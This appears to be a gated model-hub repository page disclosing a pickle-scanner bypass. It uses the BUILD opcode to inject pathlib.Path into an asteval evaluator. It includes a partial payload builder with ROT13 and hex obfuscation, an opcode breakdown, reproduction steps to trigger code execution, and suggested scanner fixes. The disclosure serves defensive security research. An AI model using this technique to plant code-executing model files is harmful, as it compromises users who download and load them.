You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
asteval.Interpreter — BUILD Opcode Callable Injection
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 4 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
asteval.Interpreter is an intentionally restricted expression evaluator that blocks __import__, wipes __builtins__, and prevents direct OS access. Its security model depends entirely on controlling what callables are in the evaluator's symtable.
The BUILD opcode (b) applies a state dict to an already-constructed instance:
if hasattr(inst, '__setstate__'):
inst.__setstate__(state)
else:
inst.__dict__.update(state)
After constructing Interpreter() with its default safe state, BUILD injects into instance.__dict__ directly, bypassing any constructor-level access controls. The injected pathlib.Path callable becomes available in the evaluator as P.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(target: str, canary: str) -> bytes:
content = f'import os; os.system("echo asteval_pwned > {canary}")\n'
hex_content = content.encode().hex()
eval_expr = f"P('{target}').write_text(bytes.fromhex('{hex_content}').decode())"
rot13_expr = codecs.encode(eval_expr, "rot_13")
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-asteval-build-injection
cd pickle-bypass-asteval-build-injection
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "asteval" and "simpleeval" to ALWAYS_DANGEROUS_MODULES. Upgrade BUILD detection from WARNING to CRITICAL when the target class is a known evaluator, or add these evaluator classes to ALWAYS_DANGEROUS_FUNCTIONS.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
asteval.Interpreter — BUILD Opcode Callable Injection
Score: 0 CRITICAL, 4 WARNING
Technique: BUILD opcode bypasses constructor access controls to inject callables
Scanner version: modelaudit 0.2.37
Mechanism
asteval.Interpreter is an intentionally restricted expression evaluator that blocks __import__, wipes __builtins__, and prevents direct OS access. Its security model depends entirely on controlling what callables are in the evaluator's symtable.
The BUILD opcode (b) applies a state dict to an already-constructed instance:
if hasattr(inst, '__setstate__'):
inst.__setstate__(state)
else:
inst.__dict__.update(state)
After constructing Interpreter() with its default safe state, BUILD injects into instance.__dict__ directly, bypassing any constructor-level access controls. The injected pathlib.Path callable becomes available in the evaluator as P.
Pickle Structure
_codecs.encode(rot13_expr, 'rot_13') → eval_expr [0 findings]
GLOBAL pathlib.Path (no REDUCE) → class ref [WARNING 1 — S205]
{'symtable': {'P': pathlib.Path}} → state dict [0 findings]
asteval.Interpreter() → instance [WARNING 2 — S201]
BUILD({'symtable': {'P': pathlib.Path}}) → injects P [WARNING 3 — S20x]
asteval.Interpreter.eval(inst, expr) → P(path).write_text(...) [WARNING 4]
Key Property
The attack applies to any class where:
- Construction succeeds with no arguments, AND
- A callable namespace is stored as a mutable
__dict__attribute, AND - The eval/execute method uses that attribute to resolve names
This covers most expression evaluators and many plugin/hook systems.
Why Scanners Miss It
astevalis absent from all ban lists- The injected
pathlib.Pathis pushed as a GLOBAL without REDUCE → S205 (WARNING), not S201 (no REDUCE = no CRITICAL from the standard check) - BUILD detection fires as WARNING, not CRITICAL
- The actual dangerous call (
write_text) happens inside the evaluator — the scanner never observes it directly
Recommended Fix
Add "asteval" and "simpleeval" to ALWAYS_DANGEROUS_MODULES. Upgrade BUILD detection from WARNING to CRITICAL when the target class is a known evaluator, or add these evaluator classes to ALWAYS_DANGEROUS_FUNCTIONS.
Requirements
pip install asteval
General Analysis — Security Research